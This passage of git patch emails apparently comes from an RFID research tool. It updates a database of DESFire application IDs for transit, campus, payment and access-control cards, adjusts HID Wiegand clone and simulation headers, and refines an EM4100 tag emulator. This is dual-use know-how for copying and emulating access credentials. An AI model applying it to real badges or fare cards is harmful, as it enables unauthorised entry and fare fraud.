"578001", - "Vendor": "NORTIC", - "Country": "", - "Name": "NORTIC Transport", - "Description": "FIDs 01: Transport Product Retailer; 02: Transport Service Provider; 03: Transport Special Event; 04: Transport Stored Value; 05: Transport General Event Log; 06: Transport SV Reload Log; 0A: Transport Environment; 0C: Transport Card Holder", - "Type": "transport" - }, - { - "AID": "784000", - "Vendor": "Roads & Transport Authority [Government of Dubai]", - "Country": "AE", - "Name": "nol Card", - "Description": "DXB nol Card", - "Type": "transport" - }, - { - "AID": "956B19", - "Vendor": "PING PING", - "Country": "", - "Name": "PingPing Tag", - "Description": "PingPing Tag", - "Type": "" - }, - { - "AID": "DB9800", - "Vendor": "PING PING", - "Country": "", - "Name": "PingPing Tag", - "Description": "PingPing Tag", - "Type": "" - }, - { - "AID": "DB9801", - "Vendor": "PING PING", - "Country": "", - "Name": "PingPing Tag", - "Description": "PingPing Tag", - "Type": "" - }, - { - "AID": "DB9802", - "Vendor": "PING PING", - "Country": "", - "Name": "PingPing Tag", - "Description": "PingPing Tag", - "Type": "" - }, - { - "AID": "F21030", - "Vendor": "Puget Sound Transit Agencies", - "Country": "US", - "Name": "ORCA", - "Description": "VIX / ERG Transit Sysyems // One Regional Card For All // FIDs 02: Trip History; 04: current balance", - "Type": "transport" - }, - { - "AID": "F213F0", - "Vendor": "Puget Sound Transit Agencies", - "Country": "US", - "Name": "ORCA", - "Description": "VIX / ERG Transit Systems // One Regional Card for All // FIDs 00: Standard Data; 01: Backup Data", - "Type": "transport" - }, - { - "AID": "F21190", - "Vendor": "Clipper", - "Country": "US", - "Name": "Clipper Card/San Francisco Bay Area ", - "Description": "FIDs 02: current balance; 04: Refill History; 08: Card Information; 0E: Trip History]\\nFFFFFF General Issuer Information // FIDs 00: MAD Version; 01: Card Holder; 02: Card Publisher", - "Type": "transport" + "Type": "pacs" }, { "AID": "F518F0", @@ -152,35 +104,35 @@ "Type": "alarm system" }, { - "AID": "F38091", - "Vendor": "Microtronic AG", - "Country": "CH", - "Name": "Microtronic Tag", - "Description": "", - "Type": "payment system" - }, - { - "AID": "F88280", - "Vendor": "TU Delft", - "Country": "NL", - "Name": "Uni Delft", - "Description": "", + "AID": "05845F", + "Vendor": "InterCard GmbH Kartensysteme", + "Country": "DE", + "Name": "InterCard", + "Description": "Campus Card", "Type": "student" }, { - "AID": "F5217D", - "Vendor": "TU Delft", - "Country": "NL", - "Name": "Uni Delft", - "Description": "", + "AID": "15845F", + "Vendor": "InterCard GmbH Kartensysteme", + "Country": "DE", + "Name": "InterCard", + "Description": "Campus Card", "Type": "student" }, { - "AID": "F48EF1", - "Vendor": "TU Delft", - "Country": "NL", - "Name": "Uni Delft", - "Description": "", + "AID": "25845F", + "Vendor": "InterCard GmbH Kartensysteme", + "Country": "DE", + "Name": "InterCard", + "Description": "Campus Card", + "Type": "student" + }, + { + "AID": "35845F", + "Vendor": "InterCard GmbH Kartensysteme", + "Country": "DE", + "Name": "InterCard", + "Description": "Campus Card", "Type": "student" }, { @@ -272,43 +224,11 @@ "Type": "student" }, { - "AID": "F001D0", - "Vendor": "Arabako Foru Aldundia", - "Country": "", - "Name": "BAT", - "Description": "", - "Type": "transport" - }, - { - "AID": "05845F", - "Vendor": "InterCard GmbH Kartensysteme", - "Country": "DE", - "Name": "InterCard", - "Description": "Campus Card", - "Type": "student" - }, - { - "AID": "15845F", - "Vendor": "InterCard GmbH Kartensysteme", - "Country": "DE", - "Name": "InterCard", - "Description": "Campus Card", - "Type": "student" - }, - { - "AID": "25845F", - "Vendor": "InterCard GmbH Kartensysteme", - "Country": "DE", - "Name": "InterCard", - "Description": "Campus Card", - "Type": "student" - }, - { - "AID": "35845F", - "Vendor": "InterCard GmbH Kartensysteme", - "Country": "DE", - "Name": "InterCard", - "Description": "Campus Card", + "AID": "554E49", + "Vendor": "Slovenian Universities", + "Country": "SI", + "Name": "Slovenian University Student ID", + "Description": "Issued by University of Ljubljana, Maribor and Primorska", "Type": "student" }, { @@ -336,43 +256,27 @@ "Type": "student" }, { - "AID": "C26001", - "Vendor": "CAR2GO", - "Country": "DE", - "Name": "MemberCard", - "Description": "CAR2GO - Member Card", - "Type": "carsharing" + "AID": "F48EF1", + "Vendor": "TU Delft", + "Country": "NL", + "Name": "Uni Delft", + "Description": "", + "Type": "student" }, { - "AID": "2F81F4", - "Vendor": "Gallagher", - "Country": "NZ", - "Name": "Access control", - "Description": "Card Application Directory [CAD]", - "Type": "pacs" + "AID": "F5217D", + "Vendor": "TU Delft", + "Country": "NL", + "Name": "Uni Delft", + "Description": "", + "Type": "student" }, { - "AID": "2081F4", - "Vendor": "Gallagher", - "Country": "NZ", - "Name": "Access control", - "Description": "Cardax Card Data Application", - "Type": "pacs" - }, - { - "AID": "6F706C", - "Vendor": "Openpath", - "Country": "US", - "Name": "Access control", - "Description": "Openpath PACS Application", - "Type": "pacs" - }, - { - "AID": "554E49", - "Vendor": "Slovenian Universities", - "Country": "SI", - "Name": "Slovenian University Student ID", - "Description": "Issued by University of Ljubljana, Maribor and Primorska", + "AID": "F88280", + "Vendor": "TU Delft", + "Country": "NL", + "Name": "Uni Delft", + "Description": "", "Type": "student" }, { @@ -383,14 +287,6 @@ "Description": "", "Type": "payment system" }, - { - "AID": "78E127", - "Vendor": "Disney", - "Country": "US", - "Name": "Disney MagicBand", - "Description": "", - "Type": "payment system" - }, { "AID": "44434C", "Vendor": "Disney", @@ -400,156 +296,60 @@ "Type": "payment system" }, { - "AID": "F21100", - "Vendor": "Public Transport Victoria [PTV] via Conduent [formerly via Keane Australia Pty Ltd]", - "Country": "AU", - "Name": "myki", - "Description": "myki App 1 // FIDs 0F: Standard Data; 00: Backup Data", - "Type": "transport" - }, - { - "AID": "F210F0", - "Vendor": "Public Transport Victoria [PTV] via Conduent [formerly via Keane Australia Pty Ltd]", - "Country": "AU", - "Name": "myki", - "Description": "myki App 2 // FIDs 01-02: Transaction History; 03: myki money Balance; 00,04-05: Backup Data; 08-0C,0F: Standard Data", - "Type": "transport" - }, - { - "AID": "F206B0", - "Vendor": "Adelaide Metro via Affiliated Computer Services [ACS]", - "Country": "AU", - "Name": "metroCARD", - "Description": "Bus Rail Fare Collection #0 // Not to be confused with CHC Metrocard // FIDs 00,02-07,09-0B,10-17,1B-1C: Backup Data; 01,1D: Linear Record File; 08: ABNote / HID Adelaide; 1E: Standard Data; 0C-0F: Card Balance", - "Type": "transport" - }, - { - "AID": "8113F2", - "Vendor": "Chicago Transit Authority [CTA]", + "AID": "78E127", + "Vendor": "Disney", "Country": "US", - "Name": "Ventra Card", - "Description": "Gen 2 Blue Cards // Multi-Modal Transit #1 // FIDs: 00-01 Standard Data", - "Type": "transport" - }, - { - "AID": "F21390", - "Vendor": "Multiple NZ Transit Agencies via Otago Regional Council", - "Country": "NZ", - "Name": "Bee Card", - "Description": "Multi-Modal Transit #0 // FIDs 00: Backup Data; 01-02: Trip History; 03: Card Balance", - "Type": "transport" - }, - { - "AID": "F21050", - "Vendor": "Metro Christchurch via INIT", - "Country": "NZ", - "Name": "Metrocard", - "Description": "Not to be confused with ADL metroCARD // Multi-Modal Transit #0 // FIDs: 00: Backup Data; 01/02: Trip History; 03: Card Balance", - "Type": "transport" - }, - { - "AID": "F21150", - "Vendor": "HAGUESS", - "Country": "CZ", - "Name": "Lítačka / Prague", + "Name": "Disney MagicBand", "Description": "", - "Type": "transport" + "Type": "payment system" }, { - "AID": "F21360", - "Vendor": "INIT", - "Country": "CZ", - "Name": "HOLO", + "AID": "956B19", + "Vendor": "Alfa-Zet", + "Country": "BE", + "Name": "ping.ping Tag", + "Description": "ping.ping Tag", + "Type": "payment system" + }, + { + "AID": "DB9800", + "Vendor": "Alfa-Zet", + "Country": "BE", + "Name": "ping.ping Tag", + "Description": "ping.ping Tag", + "Type": "payment system" + }, + { + "AID": "DB9801", + "Vendor": "Alfa-Zet", + "Country": "BE", + "Name": "ping.ping Tag", + "Description": "ping.ping Tag", + "Type": "payment system" + }, + { + "AID": "DB9802", + "Vendor": "Alfa-Zet", + "Country": "BE", + "Name": "ping.ping Tag", + "Description": "ping.ping Tag", + "Type": "payment system" + }, + { + "AID": "F38091", + "Vendor": "Microtronic AG", + "Country": "CH", + "Name": "Microtronic Tag", "Description": "", - "Type": "transport" + "Type": "payment system" }, { - "AID": "F21381", - "Vendor": "Cubic", - "Country": "US", - "Name": "Ventra", - "Description": "", - "Type": "transport" - }, - { - "AID": "F213A0", - "Vendor": "INIT", - "Country": "US", - "Name": "WAVE / Rhode Island", - "Description": "", - "Type": "transport" - }, - { - "AID": "F210E0", - "Vendor": "Hop Fastpass", - "Country": "", - "Name": "Hop Fastpass", - "Description": "", - "Type": "transport" - }, - { - "AID": "EF2011", - "Vendor": "HSL", - "Country": "FI", - "Name": "HSL / Helsinki", - "Description": "", - "Type": "transport" - }, - { - "AID": "A00216", - "Vendor": "ITSO", - "Country": "", - "Name": "ITSO", - "Description": "", - "Type": "transport" - }, - { - "AID": "554000", - "Vendor": "Auckland Transport", - "Country": "NZ", - "Name": "AT HOP Card", - "Description": "FIDs: 00: Backup Data; 08/09/0A", - "Type": "transport" - }, - { - "AID": "534531", - "Vendor": "Transport for New South Wales [TfNSW]", - "Country": "AU", - "Name": "Opal Card", - "Description": "FIDs 00-06: Standard Data; 07: Card Balance/Number and Trip History", - "Type": "transport" - }, - { - "AID": "2211AF", - "Vendor": "National Transport Authority", - "Country": "IE", - "Name": "TFI Leap Card", - "Description": "Transport for Ireland // FIDs: 01/1F: Backup Data; 02/0A/03/04/05/06/07/08/09: Standard Data", - "Type": "transport" - }, - { - "AID": "015342", - "Vendor": "BEM", - "Country": "TH", - "Name": "BEM / Bangkok", - "Description": "", - "Type": "transport" - }, - { - "AID": "012242", - "Vendor": "Istanbulkart", - "Country": "TR", - "Name": "Istanbulkart / Istanbul", - "Description": "", - "Type": "transport" - }, - { - "AID": "010000", - "Vendor": "Madrid Public Transit Card", - "Country": "ES", - "Name": "Madrid Public Transit Card", - "Description": "", - "Type": "transport" + "AID": "C26001", + "Vendor": "CAR2GO", + "Country": "DE", + "Name": "MemberCard", + "Description": "CAR2GO - Member Card", + "Type": "carsharing" }, { "AID": "000001", @@ -559,6 +359,238 @@ "Description": "Used by YVR Compass and ATL Breeze", "Type": "transport" }, + { + "AID": "002000", + "Vendor": "Metrolinx", + "Country": "CA", + "Name": "PRESTO Card [YYZ/YHM/YOW]", + "Description": "FIDs 00,0F: Backup Data; 08-0E,10-14: Standard Data", + "Type": "transport" + }, + { + "AID": "010000", + "Vendor": "Consorcio Regional de Transportes Públicos Regulares de Madrid [CRTM]", + "Country": "ES", + "Name": "Tarjeta Transporte Publico [MAD]", + "Description": "MAD Public Transport Card", + "Type": "transport" + }, + { + "AID": "012242", + "Vendor": "Istanbulkart", + "Country": "TR", + "Name": "Istanbulkart [IST]", + "Description": "IST Istanbul Card", + "Type": "transport" + }, + { + "AID": "015342", + "Vendor": "Bangkok Expressway and Metro Public Limited Company [BEM]", + "Country": "TH", + "Name": "MRT Stored Value Card [BKK]", + "Description": "Might also be used by BKK MRT Plus and/or BKK Park & Ride Plus Cards", + "Type": "transport" + }, + { + "AID": "2211AF", + "Vendor": "National Transport Authority", + "Country": "IE", + "Name": "TFI Leap Card [DUB]", + "Description": "DUB Leap Card // Transport for Ireland // FIDs: 01,1F: Backup Data; 02-0A: Standard Data", + "Type": "transport" + }, + { + "AID": "4F5931", + "Vendor": "Transport for London [TfL]", + "Country": "UK", + "Name": "Oyster Card [LHR]", + "Description": "FIDs: 00-07: Standard Data", + "Type": "transport" + }, + { + "AID": "422201", + "Vendor": "Transport of Istanbul", + "Country": "TR", + "Name": "İstanbulkart [IST]", + "Description": "IST Istanbul Card", + "Type": "transport" + }, + { + "AID": "534531", + "Vendor": "Transport for New South Wales [TfNSW]", + "Country": "AU", + "Name": "Opal Card [SYD]", + "Description": "FIDs 00-06: Standard Data; 07: Card Balance/Number and Trip History", + "Type": "transport" + }, + { + "AID": "554000", + "Vendor": "Auckland Transport", + "Country": "NZ", + "Name": "AT HOP Card [AKL]", + "Description": "FIDs: 00: Backup Data; 08/09/0A", + "Type": "transport" + }, + { + "AID": "578000", + "Vendor": "Norwegian Public Roads Administration [NPRA]", + "Country": "NO", + "Name": "NORTIC Transport", + "Description": "Norwegian Ticketing Interoperable Concept // FID 0C: Card Issuer Header", + "Type": "transport" + }, + { + "AID": "578001", + "Vendor": "Norwegian Public Roads Administration [NPRA]", + "Country": "NO", + "Name": "NORTIC Transport", + "Description": "FIDs 01: Product Retailer; 02: Service Provider; 03: Special Event; 04: Stored Value; 05: General Event Log; 06: SV Reload Log; 0A: Environment; 0C: Card Holder", + "Type": "transport" + }, + { + "AID": "784000", + "Vendor": "Roads & Transport Authority [Government of Dubai]", + "Country": "AE", + "Name": "nol Card [DXB]", + "Description": "DXB nol Card", + "Type": "transport" + }, + { + "AID": "A00216", + "Vendor": "ITSO Ltd", + "Country": "UK", + "Name": "ITSO", + "Description": "Appears to be used across UK Transit Agencies except LHR Oyster.", + "Type": "transport" + }, + { + "AID": "EF2011", + "Vendor": "Helsinki Region Transport [HRT]", + "Country": "FI", + "Name": "HSL Card [HEL/TLL/TAY]", + "Description": "HEL/TLL/TAY HSL Card", + "Type": "transport" + }, + { + "AID": "F001D0", + "Vendor": "Arabako Foru Aldundia", + "Country": "ES", + "Name": "BAT Card [VIT]", + "Description": "VIT BAT Card", + "Type": "transport" + }, + { + "AID": "F206B0", + "Vendor": "Adelaide Metro via Affiliated Computer Services [ACS]", + "Country": "AU", + "Name": "metroCARD [ADL]", + "Description": "FIDs 00,02-07,09-0B,10-17,1B-1C: Backup Data; 01,1D: Linear Record File; 08: ABNote/HID Adelaide; 1E: Standard Data; 0C-0F: Card Balance", + "Type": "transport" + }, + { + "AID": "F21030", + "Vendor": "Puget Sound Transit Agencies via Vix Technologies", + "Country": "US", + "Name": "ORCA [SEA]", + "Description": "One Regional Card For All // FIDs 02: Trip History; 04: current balance", + "Type": "transport" + }, + { + "AID": "F21050", + "Vendor": "Metro Christchurch via INIT", + "Country": "NZ", + "Name": "Metrocard [CHC]", + "Description": "FIDs: 00: Backup Data; 01/02: Trip History; 03: Card Balance", + "Type": "transport" + }, + { + "AID": "F210E0", + "Vendor": "TriMet", + "Country": "US", + "Name": "Hop Fastpass [PDX]", + "Description": "PDX Hop Card", + "Type": "transport" + }, + { + "AID": "F210F0", + "Vendor": "Public Transport Victoria [PTV] via Conduent [formerly via Keane Australia Pty Ltd]", + "Country": "AU", + "Name": "myki [MEL]", + "Description": "FIDs 01-02: Transaction History; 03: myki money Balance; 00,04-05: Backup Data; 08-0C,0F: Standard Data", + "Type": "transport" + }, + { + "AID": "F21100", + "Vendor": "Public Transport Victoria [PTV] via Conduent [formerly via Keane Australia Pty Ltd]", + "Country": "AU", + "Name": "myki [MEL]", + "Description": "FIDs 0F: Standard Data; 00: Backup Data", + "Type": "transport" + }, + { + "AID": "F21150", + "Vendor": "Prague Public Transit Company via Haguess a.s.", + "Country": "CZ", + "Name": "Lítačka Opencard [PRG]", + "Description": "PRG Lítačka Opencard", + "Type": "transport" + }, + { + "AID": "F21190", + "Vendor": "Metropolitan Transportation Commission via Cubic", + "Country": "US", + "Name": "Clipper Card [SFO]", + "Description": "FIDs 02: Card Balance; 04: Refill History; 08: Card Information; 0E: Trip History", + "Type": "transport" + }, + { + "AID": "F21360", + "Vendor": "INIT", + "Country": "US", + "Name": "HOLO Card [HNL]", + "Description": "HNL HOLO Card", + "Type": "transport" + }, + { + "AID": "F21381", + "Vendor": "Chicago Transit Authority [CTA] via Cubic", + "Country": "US", + "Name": "Ventra Card [ORD]", + "Description": "ORD Ventra Card [Gen 2 Blue] // Multi-Modal Transit #1 // FIDs 00-01: Standard Data", + "Type": "transport" + }, + { + "AID": "F21390", + "Vendor": "Multiple NZ Transit Agencies via Otago Regional Council", + "Country": "NZ", + "Name": "Bee Card [DUD]", + "Description": "Multi-Modal Transit #0 // FIDs 00: Backup Data; 01-02: Trip History; 03: Card Balance", + "Type": "transport" + }, + { + "AID": "F213A0", + "Vendor": "Rhode Island Public Transport Authority [RIPTA] via INIT", + "Country": "US", + "Name": "Wave Smart Card [PVD]", + "Description": "PVD Wave Smart Card", + "Type": "transport" + }, + { + "AID": "F213F0", + "Vendor": "Puget Sound Transit Agencies via Vix Technologies", + "Country": "US", + "Name": "ORCA [SEA]", + "Description": "One Regional Card for All // FIDs 00: Standard Data; 01: Backup Data", + "Type": "transport" + }, + { + "AID": "FF30FF", + "Vendor": "Metrolinx", + "Country": "CA", + "Name": "PRESTO Card [YYZ/YHM/YOW]", + "Description": "FID 08: Standard Data", + "Type": "transport" + }, { "AID": "FFFFFF", "Vendor": "Reserved for Future Use", @@ -566,53 +598,5 @@ "Name": "Reserved for Future Use", "Description": "Used by AKL AT HOP, DXB nol, and SEA ORCA", "Type": "transport" - }, - { - "AID": "F52310", - "Vendor": "Integrated Control Technology Limited [ICT]", - "Country": "NZ", - "Name": "ICT Access credential", - "Description": "", - "Type": "pacs" - }, - { - "AID": "F48EF1", - "Vendor": "Salto Systems", - "Country": "ES", - "Name": "Salto Systems", - "Description": "", - "Type": "pacs" - }, - { - "AID": "4791DA", - "Vendor": "Prima Systems", - "Country": "SI", - "Name": "Prima FlexAir Access Control", - "Description": "FIDs 00: DRM; 01: Access Event Log; 04: Access Permissions", - "Type": "pacs" - }, - { - "AID": "FF30FF", - "Vendor": "Metrolinx", - "Country": "CA", - "Name": "PRESTO Card", - "Description": "FID 08: Standard Data", - "Type": "transport" - }, - { - "AID": "002000", - "Vendor": "Metrolinx", - "Country": "CA", - "Name": "PRESTO Card", - "Description": "FIDs 00,0F: Backup Data; 08-0E,10-14: Standard Data", - "Type": "transport" - }, - { - "AID": "F48EFD", - "Vendor": "Salto Systems", - "Country": "ES", - "Name": "Salto KS", - "Description": "Access Control #13 // Key as a Service // FID 01: Standard Data", - "Type": "pacs" } ] From 7f2486a6becce170ac79638abdf01f903f733411 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Tue, 18 Jun 2024 23:35:35 +1000 Subject: [PATCH 120/157] Update aid_desfire.json Minor typo correction. Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index 986aac08a..efae8446b 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -11,7 +11,7 @@ "AID": "000357", "Vendor": "LEGIC", "Country": "DE", - "Name": "Legic", + "Name": "LEGIC", "Description": "FID 02: EF-CONF", "Type": "pacs" }, From f80e8d0f852122082b44e8f5a75aaf1bc5a40c20 Mon Sep 17 00:00:00 2001 From: "@tweathers-sec" Date: Wed, 19 Jun 2024 13:41:37 -0400 Subject: [PATCH 121/157] Updated clone and sim handling for 48-Bit HID (C1k48s) --- client/src/wiegand_formatutils.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/client/src/wiegand_formatutils.c b/client/src/wiegand_formatutils.c index 75aa6ae2f..d279744b9 100644 --- a/client/src/wiegand_formatutils.c +++ b/client/src/wiegand_formatutils.c @@ -196,6 +196,10 @@ bool add_HID_header(wiegand_message_t *data) { if (data->Length > 84 || data->Length == 0) return false; + if (data->Length == 48) { + data->Mid |= 1U << (data->Length - 32); // Example leading 1: start bit + return true; + } if (data->Length >= 64) { data->Top |= 0x09e00000; // Extended-length header data->Top |= 1U << (data->Length - 64); // leading 1: start bit From 1c42223c6cbc8dfe11239d9bbc0524629db8e699 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Sat, 22 Jun 2024 10:19:05 +1000 Subject: [PATCH 122/157] Update aid_desfire.json Added a new PACS AID. Corrected minor formatting typo. Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index efae8446b..63a7e0dc5 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -87,6 +87,14 @@ "Description": "Key as a Service // FID 01: Standard Data", "Type": "pacs" }, + { + "AID": "F51BC0", + "Vendor": "", + "Country": "", + "Name": "", + "Description": "Unknown MF3DH42 [MFDES EV2]", + "Type": "pacs" + }, { "AID": "F52310", "Vendor": "Integrated Control Technology Limited [ICT]", @@ -530,7 +538,7 @@ { "AID": "F21150", "Vendor": "Prague Public Transit Company via Haguess a.s.", - "Country": "CZ", + "Country": "CZ", "Name": "Lítačka Opencard [PRG]", "Description": "PRG Lítačka Opencard", "Type": "transport" From f70550486316bc8742c83d3661f33a1beab6f1e4 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Sat, 22 Jun 2024 14:08:15 +1000 Subject: [PATCH 123/157] Update aid_desfire.json Added information via NXP TagInfo. Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index 63a7e0dc5..4af891541 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -89,10 +89,10 @@ }, { "AID": "F51BC0", - "Vendor": "", - "Country": "", - "Name": "", - "Description": "Unknown MF3DH42 [MFDES EV2]", + "Vendor": "STid Group", + "Country": "FR", + "Name": "CCT Card / DTA Tag / PCG Fob", + "Description": "STid Easyline / Architect Access Credetials", "Type": "pacs" }, { From a8ac0f3053a757217cbddb2744bba7238984af13 Mon Sep 17 00:00:00 2001 From: Dani Date: Sun, 23 Jun 2024 17:14:59 +0200 Subject: [PATCH 124/157] Update lf_em4100emul.c Rename fucntions (to avoid conflictinf with other standalone modes), print what ID is emulating and allow exit emulation with button long-press Signed-off-by: Dani --- armsrc/Standalone/lf_em4100emul.c | 28 +++++++++++++++++++--------- 1 file changed, 19 insertions(+), 9 deletions(-) diff --git a/armsrc/Standalone/lf_em4100emul.c b/armsrc/Standalone/lf_em4100emul.c index 614ca44ea..324d541bb 100644 --- a/armsrc/Standalone/lf_em4100emul.c +++ b/armsrc/Standalone/lf_em4100emul.c @@ -41,7 +41,7 @@ void ModInfo(void) { DbpString(" LF EM4100 simulator standalone mode"); } -static uint64_t rev_quads(uint64_t bits) { +static uint64_t em4100emul_rev_quads(uint64_t bits) { uint64_t result = 0; for (int i = 0; i < 16; i++) { result += ((bits >> (60 - 4 * i)) & 0xf) << (4 * i); @@ -49,7 +49,7 @@ static uint64_t rev_quads(uint64_t bits) { return result >> 24; } -static void fill_buff(uint8_t bit) { +static void em4100emul_fill_buff(uint8_t bit) { uint8_t *bba = BigBuf_get_addr(); memset(bba + em4100emul_buflen, bit, LF_CLOCK / 2); em4100emul_buflen += (LF_CLOCK / 2); @@ -57,7 +57,7 @@ static void fill_buff(uint8_t bit) { em4100emul_buflen += (LF_CLOCK / 2); } -static void construct_EM410x_emul(uint64_t id) { +static void em4100emul_construct_EM410x_emul(uint64_t id) { int i, j; int binary[4] = {0, 0, 0, 0}; @@ -65,24 +65,24 @@ static void construct_EM410x_emul(uint64_t id) { em4100emul_buflen = 0; for (i = 0; i < 9; i++) - fill_buff(1); + em4100emul_fill_buff(1); for (i = 0; i < 10; i++) { for (j = 3; j >= 0; j--, id /= 2) binary[j] = id % 2; for (j = 0; j < 4; j++) - fill_buff(binary[j]); + em4100emul_fill_buff(binary[j]); - fill_buff(binary[0] ^ binary[1] ^ binary[2] ^ binary[3]); + em4100emul_fill_buff(binary[0] ^ binary[1] ^ binary[2] ^ binary[3]); for (j = 0; j < 4; j++) parity[j] ^= binary[j]; } for (j = 0; j < 4; j++) - fill_buff(parity[j]); + em4100emul_fill_buff(parity[j]); - fill_buff(0); + em4100emul_fill_buff(0); } static void LED_Slot(int i) { @@ -108,8 +108,18 @@ void RunMod(void) { SpinDelay(100); SpinUp(100); LED_Slot(selected); - construct_EM410x_emul(rev_quads(em4100emul_low[selected])); + Dbprintf("Emulating 0x%010llX", em4100emul_low[selected]); + em4100emul_construct_EM410x_emul(em4100emul_rev_quads(em4100emul_low[selected])); SimulateTagLowFrequency(em4100emul_buflen, 0, true); + + //Exit! Button hold break + int button_pressed = BUTTON_HELD(500); + if (button_pressed == BUTTON_HOLD) { + Dbprintf("Button hold, Break!"); + LEDsoff(); + Dbprintf("[=] >> LF EM4100 simulator stopped due to button hold <<"); + return; // RunMod end + } selected = (selected + 1) % em4100emul_slots_count; } } From ca2dc0231963d0007881bf55b2cc9eba0a7b92ac Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Mon, 24 Jun 2024 15:45:32 +1000 Subject: [PATCH 125/157] Update aid_desfire.json Corrected Gallagher AIDs to the PM3/Flipper Zero / NXP TagInfo format. Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 124 ++++++++++++++++++++++++++++-- 1 file changed, 118 insertions(+), 6 deletions(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index 4af891541..331b76cf2 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -16,18 +16,130 @@ "Type": "pacs" }, { - "AID": "2081F4", - "Vendor": "Gallagher", + "AID": "F48120", + "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", "Country": "NZ", - "Name": "Access Control", + "Name": "Gallagher Security Credential", "Description": "Cardax Card Data Application", "Type": "pacs" }, { - "AID": "2F81F4", - "Vendor": "Gallagher", + "AID": "F48121", + "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", "Country": "NZ", - "Name": "Access Control", + "Name": "Gallagher Security Credential", + "Description": "Cardax Card Data Application", + "Type": "pacs" + }, + { + "AID": "F48122", + "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Country": "NZ", + "Name": "Gallagher Security Credential", + "Description": "Cardax Card Data Application", + "Type": "pacs" + }, + { + "AID": "F48123", + "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Country": "NZ", + "Name": "Gallagher Security Credential", + "Description": "Cardax Card Data Application", + "Type": "pacs" + }, + { + "AID": "F48124", + "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Country": "NZ", + "Name": "Gallagher Security Credential", + "Description": "Cardax Card Data Application", + "Type": "pacs" + }, + { + "AID": "F48125", + "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Country": "NZ", + "Name": "Gallagher Security Credential", + "Description": "Cardax Card Data Application", + "Type": "pacs" + }, + { + "AID": "F48126", + "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Country": "NZ", + "Name": "Gallagher Security Credential", + "Description": "Cardax Card Data Application", + "Type": "pacs" + }, + { + "AID": "F48127", + "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Country": "NZ", + "Name": "Gallagher Security Credential", + "Description": "Cardax Card Data Application", + "Type": "pacs" + }, + { + "AID": "F48128", + "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Country": "NZ", + "Name": "Gallagher Security Credential", + "Description": "Cardax Card Data Application", + "Type": "pacs" + }, + { + "AID": "F48129", + "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Country": "NZ", + "Name": "Gallagher Security Credential", + "Description": "Cardax Card Data Application", + "Type": "pacs" + }, + { + "AID": "F4812A", + "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Country": "NZ", + "Name": "Gallagher Security Credential", + "Description": "Cardax Card Data Application", + "Type": "pacs" + }, + { + "AID": "F4812B", + "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Country": "NZ", + "Name": "Gallagher Security Credential", + "Description": "Cardax Card Data Application", + "Type": "pacs" + }, + { + "AID": "F4812C", + "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Country": "NZ", + "Name": "Gallagher Security Credential", + "Description": "Unused Cardax Card Data Application", + "Type": "pacs" + }, + { + "AID": "F4812D", + "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Country": "NZ", + "Name": "Gallagher Security Credential", + "Description": "Unused Cardax Card Data Application", + "Type": "pacs" + }, + { + "AID": "F4812E", + "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Country": "NZ", + "Name": "Gallagher Security Credential", + "Description": "Unused Cardax Card Data Application", + "Type": "pacs" + }, + { + "AID": "F4812F", + "Vendor": "Gallagher Group Limited via PEC [New Zealand] Limited", + "Country": "NZ", + "Name": "Gallagher Security Credential", "Description": "Card Application Directory [CAD]", "Type": "pacs" }, From 19defef18bd1800a4065636c2b269dd2ebaba667 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Mon, 24 Jun 2024 15:47:41 +1000 Subject: [PATCH 126/157] Update aid_desfire.json Rearranged the pacs AID order. Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 80 +++++++++++++++---------------- 1 file changed, 40 insertions(+), 40 deletions(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index 331b76cf2..12113e8eb 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -15,6 +15,46 @@ "Description": "FID 02: EF-CONF", "Type": "pacs" }, + { + "AID": "4791DA", + "Vendor": "Prima Systems", + "Country": "SI", + "Name": "Prima FlexAir Access Control", + "Description": "FIDs 00: DRM; 01: Access Event Log; 04: Access Permissions", + 